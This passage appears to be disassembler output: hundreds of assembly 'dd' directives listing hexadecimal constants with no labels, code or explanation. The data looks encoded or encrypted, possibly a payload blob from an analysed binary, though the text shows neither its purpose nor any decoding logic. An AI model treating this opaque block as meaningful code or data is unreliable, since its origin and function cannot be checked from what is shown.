		dd 0CFEF65F4h, 0AB3A53DCh, 992709A9h, 0A43719B9h, 912406A4h
		dd 114E1BBBh, 0B6FD82DCh, 6CD64B16h, 0C7E470BDh, 68F951E3h
		dd 8FB19F29h, 86B10E3Eh, 0EC549CB0h, 90672427h,	0DAAB04A1h
		dd 852331BBh, 51E06CBDh, 5270DC6Dh, 5C7B0B56h, 8EAA7C29h
		dd 0D160A516h, 0D381D0F2h, 961C7A09h, 17730A8Ah, 7BA7AA2h
		dd 7B5C5AADh, 8A9D900Ah, 0AC34590Ah, 0E375h, 0F4694600h
		dd 0A8A9D9Ah, 0F4175C63h, 0A5423101h, 0B962FCC4h, 0DDA9C0D9h
		dd 0A5EE8FFEh, 486F168Eh, 3ED38D31h, 0CB18A042h, 92426D4Ah
		dd 5BFA6E16h, 0BA6BE716h, 0D1340A89h, 0E66728B0h, 0BDF3193Ah
		dd 0C312B1B8h, 2F7EC091h, 86254425h, 5A3181A9h,	97F64709h
		dd 9E2667F6h, 0E008D66Fh, 19B6D73Bh, 26AEA231h,	438069C7h
		dd 8C0D5CF4h, 0C6F1CEEDh, 0C6746590h, 4DBC045Eh, 35CA0AFEh
		dd 0C9B6646Bh, 43A9CD4Eh, 298EAB4Ch, 85CADBBh, 65422342h
		dd 4260EC3Dh, 0A7FCD60h, 9F4949F0h, 4F478229h, 16000017h
		dd 0A308EC8h, 123896B8h, 0C2E8CBEh, 133595BBh, 0FD308EC6h
		dd 0C88CD932h, 0DA78C8EAh, 0C781D6FCh, 0DC70C1E7h, 7BEAF5FEh
		dd 16B6FE1Fh, 0BD8DB1E8h, 5351E06Ch, 2A5B780Eh,	168EAA7Fh
		dd 0EB4565A8h, 0A9C0D9B9h, 0F9E1FEDDh, 3554E569h, 0A5DD5CABh
		dd 795E168Eh, 51BB085Dh, 0E16BBEC2h, 88503150h,	321DBADBh
		dd 6E2F6AD1h, 3612A50Ch, 18C8D57h, 91A16277h, 0F5D2B4ADh
		dd 51C3E980h, 9AABEA89h, 6443439Eh, 0D160EA3Eh,	0BA2B28B0h
		dd 833BC38Dh, 163C9BFAh, 72989C3h, 0E1E396B6h, 6ECBB19h
		dd 16A86A67h, 71BD0000h, 53E3C5E5h, 63F5DBFBh, 52E1C7E7h
		dd 6BFAE0FEh, 55DAC9E9h, 0BABA938h, 1BBB9725h, 8A6A235h
		dd 1DBD8F22h, 80DA0B54h, 4916B6FFh, 6CBD6ED0h, 9B7D6DE0h
		dd 0DF8E8621h, 166902h,	0E86EFC00h, 0F856E8CAh,	0E664F8DAh
		dd 0FF51E2C8h, 0E86CF9DFh, 3754DBCAh, 260CAAAAh, 3C1EBC96h
		dd 1F01A1A7h, 5320BE8Eh, 0FF7DD90Ch, 0D34616B6h, 1D6CBD6Fh
		dd 1071C08Ch, 9DC4E071h, 429BCAE9h, 3168E97h, 89FA2482h
		dd 2E8DF9F0h, 3196BC0Ch, 0E80CB3FCh, 0F1EEF641h, 7AB4FD7Ch
		dd 79CC0E10h, 0EF4082D3h, 0D0B1D061h, 62F35DEEh, 2CA14223h
		dd 800E0A00h, 8423637Eh, 0BEEED851h, 0F766496Dh, 61BAD99Bh
		dd 4A972164h, 233E7ACBh, 20410FA0h, 0EE255283h,	739267A8h
		dd 498C6B54h, 1FE6F578h, 0A3DF74EEh, 0B9D83D5Bh, 0CE213212h
		dd 2CB48A1Ah, 0BE2F102Fh, 5BA43C64h, 0EEE0E82Dh, 0ED9A2E5Bh
		dd 0C190F15Dh, 3BF75382h, 5DC05BA4h, 4469A3Ch, 0D2634565h
		dd 21D1077Ah, 5F0ED128h, 158982h, 0C88EDC00h, 0D876C8EAh
		dd 0C684D8FAh, 0DF71C2E8h, 0C88CD9FFh, 1774BBEAh, 62C8ACAh
		dd 1C3E9CB6h, 0FF2181C7h, 33409EAEh, 5DB92Ch, 0F32616B7h
		dd 0B516704Fh, 704F109Dh, 9DB4A1FDh, 0A12B6A10h, 9DA4E462h
		dd 9573D310h, 8BB4109Dh, 8FB5664Bh, 2814B3Dh, 109D8384h
		dd 0AADF6DC0h, 86216A78h, 23CF0AA1h, 42000015h,	5E4462F4h
		dd 0FE2482CCh, 2002A0AAh, 0BFE1C18Fh, 0D1C4E272h, 0B4A02D5Eh
		dd 0AEA43416h, 0B3952A10h, 0B09C2D13h, 0D7064912h, 16B7007Bh
		dd 0A371CD44h, 7AEBC8BEh, 168E98F7h, 0B0D88D10h, 0C5800E6Eh
		dd 14DC2B26h, 3D890000h, 4797B919h, 2F81A707h, 4695BB1Bh
		dd 3786AC0Ah, 0A18EBD1Dh, 7757FD4Ch, 6F4F0351h,	7452F649h
		dd 7151FB4Eh, 9CF66768h, 6516B6FFh, 6CBD122Ch, 0DC6D51E0h
		dd 0B01AE170h, 0E623F11Bh, 3D8BA341h, 0AF000000h, 9DB51270h
		dd 93FB4E10h, 0B4C541B4h, 0F8E109Dh, 9DB5045Eh,	2948CD10h
		dd 5C03A58Ah, 0EF65EB19h, 8384F7E5h, 8610C66Dh,	14689AB7h
		dd 8DB50000h, 41B4133Fh, 10426AC5h, 1BC50F8Eh, 51E06CBDh
		dd 28B50E53h, 9DFC1D2Ch, 0A596CF3Eh, 6847168Eh,	0A4BC1647h
		dd 850A8Ah, 8AA4F551h, 955FBE0Ah, 3815B5D8h, 0A56CE617h
		dd 0D0350A8Ah, 0D1B5AC08h, 750683F2h, 88CF107Bh, 2FF76715h
		dd 67F6978Ah, 5979D163h, 7707AB2Ah, 3157E704h, 0E9639BB5h
		dd 2A88E9DDh, 0C998B608h, 5563585h, 8C6A7485h, 21408592h
		dd 0A3D2F110h, 476FC27h, 0EFCCADF0h, 81D078CBh,	6129B800h
		dd 0EA052E7h, 0ACA6240h, 0B25098ADh, 254h, 977E1A05h, 0B798498Ah
		dd 684F1B87h, 943380ABh, 76D4E561h, 656FAE04h, 0C8BEA3FBh
		dd 91477AEBh, 5DC0168Eh, 0D678CA0Ch, 0B80D2F8h,	63F293BBh
		dd 8A80B412h, 0EF5DF00Ah, 62E87C5Eh, 2C9D2BD3h,	7FFC9639h
		dd 0EBCB83D3h, 0F3D0B6ABh, 79AD8FCCh, 8F2C26A6h, 8A9F045Eh
		dd 8048CD0Ah, 9C1F2253h, 95F8107Bh, 213382C4h, 42129F81h
		dd 990682F3h
		dd 533F0477h, 97BD0CB6h, 94F2F737h, 9EA3C637h, 96BC0A68h
		dd 0DD6C0D47h, 0C6E468F9h, 6AFB51E4h, 648BBF1Bh, 6DDEF4FEh
		dd 8B2824B5h, 7A089DA4h, 0B84269EBh, 25B81A4Dh,	99BF9D27h
		dd 12340549h, 0E318EC0h, 0C7B69C2Ch, 0FE63C84Bh, 78E7F114h
		dd 99840456h, 9F2B73ACh, 577BCAABh, 68FB4A0Ah, 3EA4912Ah
		dd 3B8B37D4h, 3B8CFD50h, 0B5157415h, 87945F1Dh,	98074Eh
		dd 0BD5B0000h, 0BE922170h, 0B00F6EAFh, 43F3C187h, 9F2968A9h
		dd 991C0340h, 5A78834Bh, 0E754E794h, 1DC0EAC0h,	18A0C18Dh
		dd 9CADA736h, 38DF5CF6h, 16CE617h, 0D035109Eh, 0DD77C608h
		dd 0AA9765FDh, 533FA341h, 23000000h, 51E06CBDh,	0E170DC6Dh
		dd 33024EDDh, 0BC8DBD0Fh, 0A552E72Bh, 9DB4D630h, 1F7E9F10h
		dd 32E059F7h, 0B50DAD9Fh, 0A341E6E7h, 254Fh, 0F94A7000h
		dd 0A3D38D57h, 7AEBC8BEh, 168EBA77h, 0CD3C0D90h, 0A8AA84Dh
		dd 0ABD16AA4h, 5AAD15EDh, 0D355h, 0BEA3E900h, 0C796B205h
		dd 55882746h, 168EBC10h, 390E9EA9h, 8E428D02h, 1475143Eh
		dd 0FE290645h, 0AF3E81Dh, 419DCC72h, 0A0A8A10h,	0BF0F418Bh
		dd 0B90A308Fh, 2E0F4D97h, 2F50209h, 0A918C2FCh,	0AB4B6BADh
		dd 80D21A7Bh, 97F3622Eh, 600A8A19h, 19940E7Fh, 385D0A8Ah
		dd 0D7687259h, 249DA6A4h, 0F5446645h, 0F4D6955Fh, 0EBCFEC62h
		dd 81D0F25Ah, 0B45A09D3h, 5DEDA516h, 65E11433h,	2E0A8AB4h
		dd 0B4247EEFh, 9580A8Ah, 0CC9BFA4Bh, 328A2849h,	5AAD1562h
		dd 35CAh, 0BDA37000h, 0F975E8C7h, 26F624Bh, 65FB2483h
		dd 0F478AFDCh, 0AADB8A52h, 909E9E2Ch, 0D2614976h, 9F1C767Eh
		dd 0D6F58FD9h, 63330BA7h, 0D1F114EFh, 7F6h, 61C45C00h
		dd 6A000000h, 6A196BBDh, 0FD1EAA9Bh, 0FA26E8EAh, 0BCD51ED5h
		dd 684F8CDDh, 0F75968B7h, 0BF11DB0Dh, 0D9FFDF6Fh, 5774C589h
		dd 0FC2B0C70h, 0C87C1Ah, 87D6AAB4h, 62B095F6h, 0C4E3F0EFh
		dd 9E1A3591h, 0ED9FE10h, 0DA860E8Fh, 2D7D2140h,	0DC6D9721h
		dd 4198E0B0h, 0A59D82A3h, 25056B1Bh, 0BF940BD5h, 0AA00000Bh
		dd 74C5BBA3h, 3680FE05h, 50726199h, 0D8FF4EFCh,	7B302FD0h
		dd 0AA32531Fh, 163CEB60h, 5ABB8AC4h, 1B0ACA92h,	0C6ECD515h
		dd 0C8DDC76h, 505DC4h, 0C2010000h, 0E3961DDDh, 844C648Ah
		dd 75522E38h, 86007552h, 4F109E2Ch, 34E3D408h, 0BEDF43FFh
		dd 0CE7BD736h, 0C144109Dh, 0E16FC0E2h, 3FF988D7h, 4AB9EE92h
		dd 53214BC0h, 35F5CDA1h, 0FC67E312h, 27306729h,	302222DEh
		dd 9D3B202h, 24F92h, 0BBA3A800h, 0A78169C5h, 1670E5C2h
		dd 0DF109DB5h, 912436BEh, 0E1FE9FBBh, 2C206AF9h, 12E5DC3Eh
		dd 924C94F5h, 41DE9947h, 4E41A6h, 0A3150000h, 7CD607BBh
		dd 0B5109DB5h, 9DB4C640h, 410E8F10h, 0B573EF1Eh, 0D93C109Dh
		dd 0C27DD9B8h, 0ECD0BAE5h, 4F357F3Ch, 9F870685h, 3558109Eh
		dd 0BD68C219h, 0DA00DF6Bh, 1574C587h, 0E5C211CBh, 9DB51670h
		dd 36BEDF10h, 25C43EE4h, 6A000000h, 69C5BBA3h, 0B53293C2h
		dd 0A829109Dh, 4CE0C28Eh, 49E9F6FEh, 83DF6BBDh,	1670E5C2h
		dd 0DF109DB5h, 3EE436BEh, 63CB1B70h, 5EF643D4h,	45075A80h
		dd 1E368325h, 44065A80h, 0D084D1F5h, 0E8610B81h, 3754CE3Fh
		dd 0F81D4B9Fh, 4ABF4999h, 2824B59Dh, 40A23219h,	58EC95Eh
		dd 0E77A5C64h, 725D8265h, 3D6E7792h, 0FD4F997Eh, 0DCC2A0ACh
		dd 0AF4CC63Ah, 0BE902208h, 0BB912436h, 9DAF0258h, 0B68EDBFDh
		dd 4B9F8457h, 0C0922228h, 11711071h, 0EC435C3h,	2C6E91BBh
		dd 0A9A6B79Dh, 0D31D3181h, 345ED27Dh, 0F65EEB97h, 0C097EED9h
		dd 0DC6DDB70h, 0DD5116BDh, 4365737Dh, 963C5AF2h, 679CFD47h
		dd 286D4B9Fh, 75D3684Ah, 0FC4EE2E4h, 77C688DAh,	0AB9A2F61h
		dd 3082A895h, 6CE4F1Eh,	0F243EF8Ch, 0D061B95Ah,	422327B9h
		dd 109F8324h, 4890F140h, 2905302h, 0C488D989h, 0D82DC0E7h
		dd 1D13C5DFh, 4598C2D3h, 3282A807h, 587A9820h, 992B4B09h
		dd 9528DA6Fh, 0BD8E54B7h, 8146E06Ch, 51E0C2A7h,	138DED3Dh
		dd 35545372h, 2B598FABh, 0F9E1FE0Fh, 3657E66Ah,	0E5C234AEh
		dd 9DB51670h, 36BEDF10h, 41DEFEAEh, 3E66A6h, 0A3FC0000h
		dd 0C26BC7BDh, 0B8004EE0h, 0B4EB6A9Bh, 32C109Dh, 755299B6h
		dd 9BD293FEh, 0ED37CFF4h, 61BD308Fh, 2A109EA9h,	184E1EBh
		dd 0BD68C225h, 0BF891E6Dh, 340E6FAEh, 3EC4E37Dh, 6A000000h
		dd 0FF4DE0C2h, 0A2FC716Eh, 6B109DB4h, 35814B2Ah, 0C2FD592Bh
		dd 9DB53293h, 0FF4F7310h, 0B5025C91h, 4ACB109Dh, 0D7FB1A2Bh
		dd 1574C585h, 79D544CBh, 6DBD68C2h, 50E0C2E1h, 7D20BA02h
		dd 4EE0C2E3h, 8D03100h,	9DA64279h, 31D0ED10h, 6EFFFFFDh
		dd 9DB51270h, 562A3410h, 5785778h, 109DB489h, 0E04B6D52h
		dd 54867ED1h, 17A9AB35h, 77D32233h, 0B9109E4Bh,	0BC10C237h
		dd 0B80A308Eh, 0E7163996h, 109E4B6Bh, 0C907D134h, 60F193CDh
		dd 0CC7DFC11h, 0B69CBB52h, 0FD1C2D27h, 0FC2099F3h, 1EEBA43Ch
		dd 260A4h, 1170BA00h, 52109DB5h, 4A71DF70h, 1ADED632h
		dd 102CB45Dh, 310EADD9h, 6A3EA606h, 0E5EFC3DBh,	8F8C9BA6h
		dd 0A1018416h, 85572D7Fh, 17D8725h, 5AEE4165h, 52D2A3Bh
		dd 4CCD9CB8h, 8B005284h, 47163Eh, 8BD0EF40h, 43224330h
		dd 0D07ED0F2h, 483E2381h, 1587FA6Bh, 1D80107Ch,	0FBF90A68h
		dd 0C19C4B79h, 0D8Eh, 0EBCB8BD7h, 0F9D975C5h, 0E5C585D7h
		dd 0FEDC74C3h, 0E7C78DDCh, 0C3127BB4h, 0C10F3191h, 0BC0F3191h
		dd 0B90C2E8Ch, 29263393h, 0B7085AB4h, 54EE2316h, 351E0C2h
		dd 64697B9h, 0FB5786A9h, 0C4109DB4h, 0CCE87741h, 0AF992E95h
		dd 9FCEF1CEh, 109DB543h, 123F890Ch, 84F27BE3h, 0DAF91C16h
		dd 0C9E664F8h, 6DFC50E1h, 94B6A42Ch, 5AFA4740h,	95282A3Bh
		dd 5F8AA6B7h, 5CF04169h, 846FB12Dh, 7A1B7A0Ah, 62BD285Dh
		dd 0F9D61075h, 715D0A84h, 2AB2D304h, 84495BDh, 8AC61539h
		dd 5A3B5ABBh, 0F542D927h, 6A670679h, 0CE6h, 8323337Fh
		dd 61410D9Dh, 7D5DED3Fh, 66440C5Bh, 7F5FF544h, 3B8AE34Ch
		dd 4997B919h, 3487A909h, 4194B614h, 0C19EAB0Bh,	0B707D24Ch
		dd 0DC869B16h, 51E06CBDh, 0A6205572h, 0DA109DB4h, 1479C688h
		dd 477970CCh, 0B71C36F8h, 6946278Eh, 8EED29F4h,	13B3D216h
		dd 12B09C2Dh, 90BC0D35h, 91F5EC48h, 0CABB1032h,	0A9B8D97Bh
		dd 0C01A4B68h, 890A8AD6h, 0C09FBC04h, 3706489Ah, 407F0ED6h
		dd 0CD107214h, 1446B48h, 0C2C91BC6h, 391FB219h,	0CA1BFCFDh
		dd 5BEDD502h, 0A2B3992Ch, 7DA50263h, 0FC9C582Ah, 1436C67Ch
		dd 4B6D6B75h, 0BE0051F9h, 0A7461B6Bh, 0FC98DAD2h, 77C688DAh
		dd 0CAE67716h, 0E7C8E79Fh, 3D3995C8h, 83020471h, 305FCA39h
		dd 52780A62h, 0E9864E00h, 2A1B77E6h, 0A1E4FE5Eh, 10598DC0h
		dd 0BB7273E2h, 0BFD9Eh,	7CDA6800h, 64EA7C5Eh, 7AD06446h
		dd 6BE5765Ch, 7CD8654Bh, 0ABC06F5Eh, 0B298361Eh, 0B0923022h
		dd 0AB8D2D1Bh, 0C794321Ah, 8F95588h, 4FC216B7h,	0E06CBDF3h
		dd 0FD4DDFC3h, 44A32D6Ch, 268501E8h, 559FB504h,	0A01CD508h
		dd 789D168Eh, 68E6785Ah, 76D6674Bh, 10700051h, 935D7285h
		dd 0F0426845h, 468E0F5Eh, 2C8AC014h, 0C8BEA38Eh, 51E6CCEBh
		dd 9D2766F7h, 8EB3D36Eh, 0A8B9DC16h, 8AACF959h,	45B6500Ah
		dd 0AD125917h, 8B015Ah,	0F0D20000h, 70EAF260h, 50E16DBDh
		dd 2735473h, 109DB488h
		dd 419DCC51h, 0A109DB4h, 0BF0F418Bh, 83D278CCh,	0B3B51144h
		dd 1F7E109Dh, 0C4E1F7Eh, 82C495BBh, 80C01E30h, 4FBE1D69h
		dd 168EBA1Eh, 599BCE4Fh, 5E800E8Bh, 0B2492CFh, 0F5410000h
		dd 0CF5F4161h, 0E7795F7Fh, 0CE5D4363h, 0AFFE2482h, 191605A5h
		dd 0CFEF65F4h, 0D7F75BE9h, 0CCEA5EF1h, 0D9F953E6h, 449ECF10h
		dd 0D16B70Ah, 6DBDAA94h, 4FE0C2E1h, 0BE99B701h,	54h, 236DBD24h
		dd 9DB558B2h, 9DFC2110h, 0D7970CCh, 0A5CA3FAEh,	42C3168Eh
		dd 0E88AF0Fh, 0C49E080h, 0AC2h,	9F3F17A3h, 852529B9h, 993911A3h
		dd 8A2828B7h, 9B3B19A8h, 0D76687A8h, 0ED7B5D7Dh, 0D0634565h
		dd 0E5785A78h, 557A4767h, 0B709A620h, 83A6F16h,	8C1D6CBDh
		dd 711071C0h, 14BDEE0h,	230C4B30h, 7B6D1293h, 335D6712h
		dd 0ADC6F196h, 6446533Fh, 0D8984088h, 80A3411Bh, 24Dh
		dd 0D0E9B9D6h, 0B4962A99h, 0F6D9F6D5h, 9DB50B87h, 0AB1D410h
		dd 3D019C13h, 0B84791CAh, 168EE939h, 0A528CB4Ah, 0DCF74DC6h
		dd 0EAC9BDA4h, 1F7BEACDh, 0E816F33Eh, 610052E2h, 3DB71342h
		dd 1D8016F3h, 34B934D3h, 85C21CE4h, 0E01DF650h,	3F5EBF10h
		dd 0AFD7122Eh, 0A1082F10h, 0B771630Eh, 5DC842B3h, 0C9110E0h
		dd 0D724636Dh, 4416CE71h, 6DC0E2C1h, 8ADA00DFh,	0F5D200C8h
		dd 0E127A3D2h, 0ADF00AC9h, 0B9EB5306h, 6E765150h, 0FE73D96Ch
		dd 804DA9AAh, 0CF2520C7h, 96000009h, 8AB00E48h,	92B81638h
		dd 8CAE0C3Eh, 93B5153Bh, 7DB00E46h, 480C59B2h, 5AF8486Ah
		dd 4701567Ch, 5CF04167h, 0FB6A757Eh, 16B70A9Fh,	0C20D3168h
		dd 7F4299DDh, 3983AE4Bh, 0B687C717h, 2546F7Ah, 0FD9CFD4Ch
		dd 0AFDE01DEh, 109E1433h, 0C781D6FCh, 6E761776h, 854F9E1Fh
		dd 516EAF16h, 6B75D969h, 9A66516Eh, 97167EF7h, 5EEF5BEDh
		dd 44965E3Fh, 5A805EF4h, 0BBF9480Ah, 92C3E0A6h,	1075993Bh
		dd 183A99FCh, 52D8AC8h,	4529AB6h, 75C48E1Eh, 194C0051h
		dd 79F57AB5h, 2F322FBEh, 36000009h, 2A10AEA8h, 3218B698h
		dd 2C0EAC9Eh, 3315B59Bh, 1D10AEA6h, 0E86CF912h,	0FA58E8CAh
		dd 0E761F6DCh, 0FC50E1C7h, 9BCA15DEh, 16B70C3Fh, 0C2AD9108h
		dd 0B51670E5h, 0BEDF109Dh, 55C94436h, 87109DB5h, 73E17052h
		dd 0D0AA1F69h, 2E8DF9F0h, 8E9366BFh, 0C9E62716h, 0C83D4FE1h
		dd 0A8A8F4Eh, 49C53817h, 120A8A8Fh, 0D4F392F3h,	63F25CEEh
		dd 7CBC9A22h, 53822165h, 1074F23Eh, 91B91677h, 8BAF0C40h
		dd 8AC81038h, 423715A8h, 79F8D1BAh, 9B1D38EFh, 0CA000008h
		dd 0D6FCDA7Ch, 0C6ECCA84h, 0D8FAD872h, 0C7E9C987h, 0C9FCDA7Ah
		dd 9CB80566h, 86CC1C3Eh, 9BAD0228h, 88C4153Bh, 0CF3E212Ah
		dd 16B70D53h, 7059051Ch, 109DB512h, 0FA4E7453h,	0B4A52150h
		dd 2F6E109Dh, 2A22B3A5h, 31558C8Ch, 0EB8AB592h,	0C383196Eh
		dd 1B0E7D47h, 0D4168F98h, 3A2D12B1h, 24DBE2E2h,	0C2E8F5FFh
		dd 0D6FCDB6Dh, 1978C983h, 0C9F81CFh, 23302D3Ch,	0B000008h
		dd 786AA024h, 0FEC6C500h, 0C8BEA364h, 0D474C7EBh, 0B39ECF0Ch
		dd 0C168EAFh, 7E578223h, 4E96EB3Ch, 9CED7CA1h, 0A8A273Eh
		dd 0D780F995h, 0E2EA62F3h, 0AD98BA7Ah, 13D225Ah, 0BD380000h
		dd 4B8FDE6Ah, 0C20455FDh, 4A8CDD6Fh, 527353F5h,	0B4860075h
		dd 0CE4F109Dh, 0C97FD406h, 5D213C78h, 0B3CB0F7Eh, 0E124109Dh
		dd 79127C50h, 0F4D276C9h, 7ECF79CEh, 66EA7961h,	0B2A72F5Eh
		dd 8F01109Dh, 456A4DFAh, 794750D1h, 96F061FBh, 5F109D45h
		dd 45910D80h, 3B5A109Dh, 0EB40925Ah, 7A607D5Dh,	546068EAh
		dd 27567509h, 109D45B3h, 6D5FF3DCh, 5BDB77B9h, 0A0B1D491h
		dd 66440E9Eh, 0F5EF444h, 83D27ACBh, 0D5CEC3Fh, 0F1D579C9h
		dd 465AEB5Fh, 0F2C6AF4Ch, 9570B80h, 0EA005A8Bh,	44C9109Ch
		dd 5AA18625h, 401CAAD6h, 123826AEh, 0D27ECDC2h,	5B86A2B3h
		dd 12A68C2Bh, 8429638h,	0C310D839h, 8E336F92h, 0FA7FC816h
		dd 9C40E90h, 795F7F1Eh,	0DAD667EBh, 0A1D4F38Bh,	0A89BC29h
		dd 68E6785Ah, 0B330B8D9h, 0FA4E418Fh, 0E1800150h, 83E26EBDh
		dd 9EC19EB2h, 89BBF36Fh, 4596BC0Ah, 0BADB3A0Bh,	0AF63D832h
		dd 75DF6E21h, 0E6C4A5E4h, 1DE74C4h, 74C589D9h, 201CCB15h
		dd 411EBDC9h, 0BC73EF1Eh, 1AA70A89h, 5DEA2B3Ah,	1051B038h
		dd 0A1107ABAh, 0EC7C5E7Ch, 0CD624866h, 0C2FD5B7Bh, 0F14051E0h
		dd 7EBA0263h, 9B842363h, 733660CAh, 48955F17h, 8ED9FC15h
		dd 8F123D16h, 92818D9Fh, 78DC694Dh, 78C9A8E9h, 6662745Bh
		dd 53E26EBDh, 0F48B8D32h, 0FB4B8D57h, 0A3D57353h, 0C2E8C7BDh
		dd 0C8DDC6Eh, 76D425C4h, 0CD109DB5h, 0D4A4C841h, 0B6A341EAh
		dd 0BF093F94h, 2958h, 6DBDFE00h, 0A52150E1h, 0E7109DB4h
		dd 0CC5E14A5h, 95B12482h, 49109D92h, 993657FBh,	2830EAEh
		dd 0A7311EADh, 0FFFFB6ACh, 6CBD12FFh, 5A5EAE1Ah, 2746FC94h
		dd 0A3F6500Bh, 0C16BC7BDh, 0DE994767h, 3741A641h, 15000000h
		dd 0B004BDA3h, 0C25FFB9Ah, 96F76EDDh, 717BF64Fh, 175C4364h
		dd 9EB404CBh, 48F1C739h, 0B03859F7h, 9DCFF551h,	35FBE10h
		dd 6DBD68C2h, 0E37D45E1h, 37C4h, 0BDA36A00h, 0E5C26BC7h
		dd 16DE6ABDh, 9DB51B77h, 0AF8B0A10h, 0E0C268C2h, 87DCFE4Ch
		dd 85D5F7C1h, 4275C603h, 92F36EEFh, 70E5C2B8h, 109DB516h
		dd 0E56DFBDFh, 8DA3C84h, 8EDF6BBDh, 9DB4A3FFh, 386D710h
		dd 49C899B1h, 0A5351928h, 557998A9h, 14FA4B07h,	0BC100576h
		dd 0B709B952h, 0E5C41FCDh, 0F899C73Dh, 0E868F7DBh, 7883F2E0h
		dd 8B109E3Bh, 0FFF3E32Eh, 0E0C294FFh, 87DCFE4Ch, 85D5F7C1h
		dd 73C8EAC9h, 0BB0584D5h, 7B48A19Dh, 0B1D061E9h, 3F82F3D0h
		dd 98168EA4h, 1F2E20B2h, 3FCE9FFEh, 0A8A9DDFh, 0D7062936h
		dd 0A8A9E7Bh, 8DF7C144h, 0F96C4BFCh, 0A8A9D9Dh,	459D2766h
		dd 5AAD0F77h, 11DFh, 0AEDF0000h, 0A8A9634h, 865098FDh
		dd 1C4h, 0BEA36A00h, 0E6CCEBC8h, 2869F852h, 84E461A0h
		dd 68AD168Eh, 0E965F5D9h, 72C6ECC9h, 0B889C515h, 0E8293859h
		dd 84EFA1E0h, 0AE940A8Ah, 0A5A7311Bh, 0B2983612h, 3D1A2B1Dh
		dd 3D87C315h, 0E38D3A17h, 2127BC66h, 770BA082h,	7BEE8A2Ah
		dd 273657E6h, 0DA00DEE6h, 3A5C587h, 0CA8AD7B2h,	28B81A7Bh
		dd 9BFA1B2Ah, 2A9FE9FBh, 0AF2B5A7Dh, 780A8A1Eh,	2E22B115h
		dd 0E4F6FE1Fh, 0E5A63851h, 2667F652h, 0A1892647h, 0EB2A3B0Fh
		dd 477230E1h, 0A3C1DE89h, 0E231h, 0BAA30500h, 0FE9FB301h
		dd 0E66AF9E1h, 0E5C284DEh, 52E36FBDh, 0FB5AA933h, 0F2109DB4h
		dd 68C2C763h, 1670E5C2h, 0DF109DB5h, 66DC36BEh,	0E56194B3h
		dd 0AE109DB4h, 0BDFB656Fh, 0DCC3E06Ch, 0BFED8523h, 17C10B9Bh
		dd 0FF4DE0C2h, 46A52F6Eh, 9BDA38Ch, 9DB57AD4h, 0C842B310h
		dd 91109DB4h, 0CB1B3F0Ch, 3253B283h, 67C1F753h,	0FE4CE0C2h
		dd 3EA62E6Fh, 0A641DE6Eh, 0B6982A10h, 475E66A7h, 1Ch, 0C7BDA31Bh
		dd 3793C26Bh, 109DB5h, 68C2C19Dh, 45E16DBDh, 35C4E37Dh
		dd 6A000000h, 6BC7BDA3h, 0B53793C2h, 0F426109Dh, 290A2864h
		dd 29D4B50Ah, 0C20D2948h, 0E16DBD68h, 7F607D45h, 9DB4940Eh
		dd 0B7A5D10h, 109DB48Fh, 72543558h, 0F7616BDDh,	0FFFF22C4h
		dd 70C3E7FFh, 0B56FEB1Ah, 0D538109Dh, 0BDB22CB4h, 0DB431A6Ch
		dd 0A72AA4D9h, 92F3109Eh, 0DED3352Dh, 0D332034Dh, 93C110B2h
		dd 132243C2h, 91BB0E34h, 0CE697BC0h, 10E6CEB3h
		dd 0D4656771h, 35E5A78h, 51E06EC0h, 50725130h, 0DBFF4EFCh
		dd 1AA2C38Bh, 0C83D1A3Dh, 109EAF4Eh, 0D38A417Fh, 223167B1h
		dd 0DC10341Dh, 7011B2C1h, 5EA82253h, 2C71109Eh,	4D0865A4h
		dd 0D901168Fh, 9FAFFF86h, 1F2E4FCEh, 5179F6FEh,	0FF6E4D01h
		dd 0A8B48A3h, 0F948296Ch, 8B490A88h, 9425610Ah,	0AC72A868h
		dd 51105Ah, 7FA30000h, 86E55C32h, 82E6482Fh, 0A37FD9E3h
		dd 7AEBC8BEh, 168E989Bh, 0E918296Ch, 0A8A8969h,	2B546C0h
		dd 5DDCB71Dh, 0A0D53147h, 0A89E526h, 5CFAEEFh, 0ADDA9F5Dh
		dd 0EB475Ah, 0B7980000h, 89F0CC46h, 0A2B0000Ah,	0DDE57293h
		dd 2E6FFE4Ah, 0C2DB854Fh, 7D8497DDh, 8A52F384h,	6A91F548h
		dd 83A39A32h, 0C3075637h, 0DE01DE76h, 9F7D61F9h, 64155DBDh
		dd 109E37EAh, 0C36D52B3h, 0FBC249ACh, 1D21C008h, 4D71C08Ch
		dd 37250FCh, 109E01CFh,	4D6AE273h, 0E677D365h, 1E3F1DA7h
		dd 90497039h, 4FDD542Ah, 785A6203h, 0DAD667E5h,	0A5D8F78Fh
		dd 168F7F38h, 3B1FBCE1h, 3A18A0A8h, 4A3E3FEh, 75E655D1h
		dd 0A03F5E10h, 89292BBAh, 97C1AA7h, 475D38Dh, 23563756h
		dd 79F9B9A3h, 132825C4h, 52000002h, 4E745204h, 4E7452FCh
		dd 507250FAh, 4F7151FFh, 41745202h, 24307DEEh, 3E14A486h
		dd 2325BAA0h, 400C9D83h, 7765962h, 16B7128Bh, 0BD213D54h
		dd 0BC902170h, 0FB4A6CADh, 0B89A3859h, 0A6872725h, 0D31D3384h
		dd 0C8BEA309h, 177AC7EBh, 0DCE485C5h, 988F8EFFh, 0EAD0168Eh
		dd 0ABDAF95Bh, 0A8A892Fh, 9E4B95F8h, 3F9FEE7Fh,	960A8A89h
		dd 9F5D7FFCh, 475AAD3Eh, 0AEh, 0E06CBD1Bh, 74E06D51h, 0B18294E5h
		dd 9326109Dh, 0B1108AFBh, 0B4D9109Dh, 82D3F5D5h, 243D7BCAh
		dd 0C5104562h, 6E168E81h, 5A8F8F2Fh, 835E8F2Ch,	4C1074DDh
		dd 0D980DA0Bh, 0C4490474h, 952406A5h, 1C3E1FBFh, 0DB73C3CCh
		dd 4D6AABBAh, 74D8BE18h, 0BE068704h, 52074D9Ch,	79F8BEDEh
		dd 37213CEBh, 2E000001h, 3218B6A0h, 2A10AEA0h, 3416B496h
		dd 2B0DADA3h, 2518B69Eh, 54E10Ah, 223080A2h, 3F099E84h
		dd 2428B99Fh, 6392BD86h, 16B713E7h, 0C2C579B0h,	330250E0h
		dd 79C80AD2h, 84D5FBDBh, 3897B305h, 9DB549C5h, 92F31210h
		dd 6CBD9634h, 0DC6D51E0h, 52755270h, 9DB4A723h,	0A32D7010h
		dd 97345297h, 8E92EF66h, 0A53A2016h, 49CC19A3h,	57F5486Ah
		dd 4C005177h, 1EAABFFDh, 8A8F73EFh, 3414A70Ah, 0BC942327h
		dd 6C0D6CADh, 0D1971E4Fh, 55B81071h, 0F5327620h, 0DDF8AF79h
